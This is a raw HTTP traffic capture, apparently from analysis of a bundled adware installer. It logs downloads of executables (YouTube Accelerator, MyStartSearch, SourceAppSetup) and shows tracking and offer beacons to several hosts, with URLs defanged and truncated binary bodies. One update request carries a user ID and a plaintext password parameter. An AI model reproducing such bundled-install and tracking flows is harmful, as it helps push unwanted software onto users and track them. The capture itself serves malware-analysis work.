Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 15169104

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 23134668-38303771/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
.^.y4.A...~I.15..G..3-...3...E ..?.t..6.?...........Q...U#{:q.5..p..%M
.t...'I..y]c...s....1?F2...o"L.y..6W^..//..S... ..X..,.....%.Sn{.$.0Jo
.......;.v.......,`3".v..1v...t.X.."X......f...!...(r.......n|N.a`..{.
.....~..D.Z.&..=.....d... W)...-Q....>.6..V.>...a.C....{.n.....=
......c...,.P..fm..4A..J...W...*G.p.\jeH. ...1..wi0.lC'c......T.%....j
....K....$qAA2=../.]... k}.>iTr.%.v.....-0..F...x6....OR.i..p.Z-'Dz
t$.....~.!....[.....9z.R!`...#.Ob...N..0~j...a..I.....{.dDV.[.........
.X.a.Jk.IP.Z.>...s.......t{1..s.T.....z.&.gs...X..va...4l..........
.-=..."...'`mhC....c.c.U. 4E.gd.$z(....Z*.P.{.St.br..n.~F.;...."....P4
$.W.U...Lu......b.....%. OT...W.......}...W...J.n.fa.c67..|......'...f
T.1...A....1....;[email protected](.....qx...3..z.B|.X#...z...'..]..k;.....
.b..J~.\.T.R.X..^m.cDI.9...{vpx..,.........GZ.".G.yh.R.........k8.#.j.
.^.5U7._.f.q...k.9.L........FU3.S.l.'3t?.%b..l..l.{...!...(....a3..<
;N.|.....V.x$}.s..eY..\.o.2?. [email protected]`.w.kW...1..z..l........
%#.....$....C.c. .... C..3r...<C..{.....y....}...5..\.1XU.?.......,
..k..!.t..4G~....A.4~"}.o.Y.DN.n.k....8.%....{[email protected][email protected].=k...o.A
[email protected]!.i.R.......\.Nw..vk....|.@V).8.........;
..Q.L{.}..kP.....x.Ld.p.........:~.n .r<R.s....m8w....n...6...f....
........K.k.L.8...b1..O.h.l...I...H1..3Q.kZ..;.57...p6....X..UpOY..k-.
.P......J.=..[l..N>..~D..f.Y,z.c%.......[.........!......d..QA7..?.
.L......{.O..1K.."..'.....1....$c}P.J..~.0..J..8.KKJ&.#y..l /p&..R....
..u....L7.O[....\..p..{.'&Z[...Eg\rJ.....n':JS..?.....D...R......b
<<< skipped >>>

GET /edgedl/chrome/win/8681233296A99640/40.0.2214.94_chrome_installer.exe?cms_redirect=yes&expire=1422595852&ip=193.138.244.231&ipbits=0&mm=28&ms=nvh&mt=1422581418&mv=m&pl=22&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,pl,shardbypass&signature=55289FB0AF4A3A42E0A8A42189C85902F0D439D4.297AB7DE82C12399CD9790C57F8304E054115434&key=cms1 HTTP/1.1

Connection: Keep-Alive

Accept: */*

Accept-Encoding: identity

If-Unmodified-Since: Thu, 29 Jan 2015 19:07:00 GMT

Range: bytes=38303772-41175631

User-Agent: Microsoft BITS/7.5

X-Old-UID: cnt=0

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

Host: r3---sn-3c27ln7s.gvt1.com




HTTP/1.1 206 Partial Content

Accept-Ranges: bytes

Content-Length: 2871860

Content-Type: application/x-msdos-program

Etag: "4ec28"

Server: downloads

Vary: *

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-Xss-Protection: 1; mode=block

Date: Thu, 29 Jan 2015 19:31:36 GMT

Alternate-Protocol: 80:quic,p=0.02

Last-Modified: Thu, 29 Jan 2015 19:07:00 GMT

Content-Range: bytes 38303772-41175631/41175632

Connection: keep-alive

Alternate-Protocol: 80:quic,p=0.01
....C...Q_/).....32t.X..C... [email protected]..`.....3..V.
(.h......ND..T!w.]4........N.s^.3.zx.....# "ET].?......#w..yb....!l..$
l1k.YHY.S....Q...../.N....~y...9.%..Ta...{).].o4.Z.....b....... ..h"..
U.&M...B...`...q. .U....o_..C..........?...3i....*..<.>....3.ppS
H...>..M..8|k..n.%....m...J.....s......A ....V..|.`....q*r...8._o..
.)%...r6......C".v...fS....VTRb.......<.......&.Pr.t0....^...x..0..
...a:-5U....d!...mv........Z._.$G...T.&E..=\%.d..4.@;.|..{.90.'m/S...V
...Q..JC.....C.Y...*....a$...<~.^.R.Q..q.....d......!...#.,i>;..
n.........:R`a.......,F-.U/vz;......IN.Dc.....K(.AFHQ...6Q..}.5.......
.a.e.......I2...V.QU....V F=X....G.L......4.amGs'...(..^..@z../.0.p..$
."G-......:..qX.P....;.x.-.....b6|....hk...7w..k....$'..w&0#k!.. .a...
=s.W)..0}}..:|....U..w....dU.....b.8.o..v.G.Fp........Z.q_...o....Nr.@
.b...."...%|...v.WI..&E.....E.~.0..1..jW. S ...Q.`N.4..v.D<2.g34..\
..2...a. ...FT.t..y...P...6.#..'d..2.u......8..V....M....IR..Wv..lh.&l
t;.e.p.c......uR."..9Y.V......Lh.._.%...~.oD....N,g.G.]n.........[...'
..4e..a...Q..S.[m"I.C.....H...,V%[email protected].`.$N..2........Nc.
e3A.=_c.Z...`..,5.;[email protected]..?.`a$[..Z...~.p.a...=C.m.FI....M...G....
=.-4j8j.....&.n^..<9....bI....-C%.X....@|.C.mc....,....$.....;.m.VY
..3>.....%'|...'sB4.`...........Dt..k...D....Kv.x~....../.;<....
.r|Qz.)/...t..ygn.&...N..0.%JWE.m.....L..}...lZ..J...dY..av.0'.'/NS]..
..h..e. ..GN._..Wg....akF..\.$o...YD.....h~.`8.5..Mm..K2.\......9XN...
........bl'.Vs. .v....Z.7...x*9s-.....*|.........C3x.n..H..".M.;.W
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3d25af1c-6093-4a17-8fb9-0df34fdf8db8&Password=DESvnCzg&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581319&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=x3jwz055wbt2ot45haoabizw




HTTP/1.1 200 OK

Connection: close

Date: Fri, 30 Jan 2015 01:28:18 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...


GET /utility.gif?report=fdata&f=3&c=820&i=30&n=ms_download_success&rnd=25287 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Fri, 30 Jan 2015 01:29:10 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close
GIF89a.............!.......,...........L..;..


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 241224

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 7f0216233154388a0ffe191ece5a7b12.cloudfront.net (CloudFront)

X-Amz-Cf-Id: U6z72dic63_5ktcbrSC_h1E1eEnDBzfKIDMstADQV2Q9E0XqNTMIxg==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............
<<< skipped >>>


GET /analytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 00:59:33 GMT

Expires: Fri, 30 Jan 2015 02:59:33 GMT

Last-Modified: Fri, 16 Jan 2015 00:55:08 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11479

Age: 1786

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=7200
...........}iw.;..w..P.vW..2.NN.....'.I...,.$cb....1....gK.*0....^}.jk
...,%<..T......B..H....j....G...p`..8I.{.=...L&&{.;7.i&....N...;oT(
E...M6.....tlN.t..8.K....P.5t.V%[email protected]...$8..:[email protected].
.jldf...9.4.=.R.^..{.4..4...AS#Ip:.P.=*6..(.0..C%1.@......^....#3..i..
V.`[email protected].'4..0..a.ZL..M8.g4..l..(9.......N..)wA..5.......{....4...(.
%...\.R.=*........?...$.#....A7...I...F*....0..Q.>..~.....Q...4.c.N
 .Q...<.y....=.....4..F..@.%:..ue6....M{$.T...M .'..a..~Am._./.....
..5...|...&;.M..D.f...yW..ubZ..e...Tjsn.B'.sIm.;.%J^hT.....t..l:....&g
t;.T.j*..FM..gZ..2...za.2..M..S.d8..d.P...S..#..ZS.J...4U...m.I.g6.Tu.
6..4iw..[.l...0m.....e6.Ghk..[}wW..~Tj%].;.{........x.................
.2U......g...p.s<....W..j....{..|.... V.r.GX.Y...;.i.y'.....O0...1&
..c4j....f.P.l........lf.AA.`..O..8[Y.=L........u.*..7vR6<.-.~..-.k
>.?W5t.b..wj.D..o.wC....-?U...4.vF..........Z.%.D...LV.#[..Vu..o...
...u..<uw. [email protected]._..'uJ..Q..d.../.\LK.D7s.j...I(...M
U..0..eF~.X...p.Ai......%4........O.....M230..mP..5%*..5(3..:......0..
P.......MtC..3....\..m.xl...f.....#....6...>K..K...@.')vM&j..e.h..,
(.U..C^[email protected]:.*&.E....d...q......{@D.h.].4u.C..i..?=4t.M.. .
|...vG.4.F.......N.Ig.......$.....;....\^^.AD..i'.!......I.>1...7.?
....V.x.xs...I...:.=.k...f.o..........D.f..o..I....J"u..6in.C...u?....
8.s.k.b...ts}}0.. ..Q:.....d..|.X...TB'..R|..F..j].<:CD....!.L..j.t
...P.....O{LH.F.%...?..DDS.z...?1w....S.I..P~T.#.....R......?. RLh....
R..1...=jy.....j.jm.y.8u.(...}..%........F....&}..r..`..k.t..,...V
<<< skipped >>>

GET /r/collect?v=1&_v=j32&a=2073456363&t=pageview&_s=1&dl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1068614956&cid=45237338.1422581382&tid=UA-40752970-2&_r=1&z=1407137762 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=71&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Fri, 30 Jan 2015 01:29:21 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Fri, 30 Jan 2015 01:29:21 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=2&index_in_screen=1&index_in_session=2&0.122616761355617 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:29 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:29 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /ytai.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:55:02 GMT

Accept-Ranges: bytes

ETag: "1bd473758e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:00 GMT

Content-Range: bytes 0-249999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HLrUiXrBp_ZYBbQLdcp2M19dt7mum2Ht4n0CYxsf6d-CzGJi4rftZA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@[email protected]....^...p...4...V........
[email protected]...............................@[email protected]..|...........
[email protected]..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=218709-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 218709-583223/583224

Content-Length: 364515

Connection: keep-alive
....p.$o.=m%.\._...........S...%.1/Q..c.....(..\a...N..~.?..u..).\..*.
.C.?...LrC~...A...e..Y..wg<..........*..H..:RSnl.. .&.;....S..P.Iw.
B....0..[.....3..T.O......#.{.......5.....h....l.>7.C...1U..e`.{.Y.
..U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.1...Dn.#........k.D...
.Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p.V..]..R ..H#..A.p..p.
..~....)...N~./[email protected](.....*.2....>...=.m....C.....jmpG.......l...
 ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..W..... /...W?.7o..3]A.
G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C}...N..-...V xK...L.Z.
{..o.....Q^....'....~...\e.....&.....WC..xQgeX...W.Xk....0....f..{..g.
...2....O....40 ......?.".........-....5*a.#...U~..I..MH`.....M.....G.
.Q.M.....~.P......Z.@sX>@..T.&...../....m}.p._..~..&..11..^.t7Fl.@D
.nu.O...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>.Yt.-....[@......lBI.
Q...........7....TX^.....0.5.s.'..C.......9...P.....[.f...O.G....b.D..
.l......`.........c.."<...'.....X....,........q............).../.P.
Pt3.T.p.A....ZY...`(.....;,.h%...j.,.J..#u |2..n.w.hx,X..z.K{..zY....U
G.{......*..v.N.g..A....|.u..0.).'..qF.K..\..~.a....M.s;..Q..wY%..<
.........39s.KWI5..-..=L..M.MW .Wq.*[email protected].<...5.
K...Hi..H.d ..k...S.........<.....\..3..q!...8c......o.x...v....W..
....&....q.w.>..<.Dz..\.....>[email protected][.... i...o
...g..}...eg.._...N.....n>..V3...H|..r....k...BvH..g..\[email protected]..'m
...e........:.".5...wU.|.....bJ"/[email protected].*...uH.x&o.....>..
..E..?.b.!...Y B......Z...-,...8)...... .$5.6.P.3S.S..r..3m.W..4@.
<<< skipped >>>


GET /install.ashx?e=jmtNUPm9rtliZHP23jXoQjnqoWKEV1aLm3FtbE0ZZbah6SLQlmMaU n78D 7rWMRxtD0z/yErQDEghalM8RLiuaQQreoGIqq74VmMl1S1eSrJhv0HKSN7fI2lN9tDRbVkdht9YBbn9NoW7mKnZ2EeHpRzM4tyPZ3ut3XEYPNrJ9roVBVYO5MhLUc4qeQHCoOK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nSjT4MUPxEN8VoiNE897smluapicxF0Xfd8gCLt/aoup5xWkDFBX92v3E3QyoSImMK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nsYTwVLnU/n42sTQmsQPwkgwB44/hE3WY3hJO7Y2KlJohmqfz4qG /vt4TSnxe7XfOtZBqFf7bsV84h2PoRfCK6gUQMjUbAKu5ANb0gKAVdW2lrxF8GR/jrXqNtnRHDA4DzNDEy52qtOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEY22HuccM6FSsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2032

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HUnWAKcpaBxYFz3FtLmSTxR9qC_vXio2kCORtbHrjl4lwcC--K8CpQ==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O..}WYe.......OD....../5.Q..a....='..G..G..-!s6.Q-.?"....o.0R..g.ti.m.
.......KR...p...C..3..jM@-.._L.0..........=(M.#.(.wh1`.p.K.K.......0..
.(......C~.....W0..(O..9.._."...~c.yzO...;....Aa....d...c....mu..y..1 
6|....I.'..G..G..-!s6.Q-.?"....o.0R..g.t..Ms;...Aa....d..cT:....W.{.."
......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..u.a
..W.%!...n`2x7..5..#....$.....r./\.3..\.f;/...|.."J.JF...|..y.....`...
q..V.<...._....-g....!.ea.L..............f..%7"[email protected]..&..Q.q
]....F....p.^5~..B...Fy..\..ym...ID.....z...8...y...a.s.....\..,I.9!..
MT{.6.w.E..e.....-...7)cxP.`[.t.A.f...3,ZP....1.D....PaT.6......,GY)..
.0..vA....Tg.xe....Nzm..3.......2c...J.{z.sgK...2.H$............r.%X..
.k|...qJ.......!.I=.Fz._u1.f...!..vL.yd....Q.m....8..u.Wk.iV.5..#.... 
..D<&..fl....'..y.Q...X...2..r....]._...v..).P.0P..H4...._...$.&>
;p.0...5.L..'5.....-14w......< C.t^.c.i|....9.| .h.......D...}.....
....rv.z..u...Q...Z.2................-..h....~...'.:1%.Uq..X....T. .5.
.5.....c....m#.....q..7VG (.........U<.n\.<.......>...j...?#.
.....dd~6^...?...E..?1h........[..c....m..HM..#qb.......7..>...H.YI
L.&.L.s.KM.....DXQ.......f..=........#...... [email protected]~L/..q.....
.ZM..!Y...Af....!HT.......?..c}=........hR}....b.V.<... ...(...Hc..
).[o....mM.......E...".....x..fI."S...2.C.l........[...j.'y...c....mi.
.c~,5..B..k....rH.:.X.[<.....2wY\jA.QT.N]....._.1PC.Yc.y.....k.u3..
j....7....^........J.1$>...P..&....y.Y......l........#.n.....M3
<<< skipped >>>


GET /v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.mystartsearch&update1=ref,smt&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:11 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"1.38 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:11 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.38 ms","message":"store 4 ac
tion and 5 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.dlzip1.mystartsearch.finish,5 HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:16 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"1.49 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:16 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.49 ms","message":"store 1 ac
tion and 0 update "}..0..


GET /sd?is=sm HTTP/1.1

Range: bytes=145806-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 145806-583223/583224

Content-Length: 437418

Connection: keep-alive
....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d.YE
.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*...8J
........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9........VB
......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...V..
t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\...
...0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:...Z.
a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W...j
2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7.. }.
...B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-..0.
a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C.....
.....@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.X'.
t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a.........."
.y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i ;.
........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`..R$
..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M.....W}
[email protected].... zi=-...
p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W....ZH
NC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.>
;...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9f..0~.V.
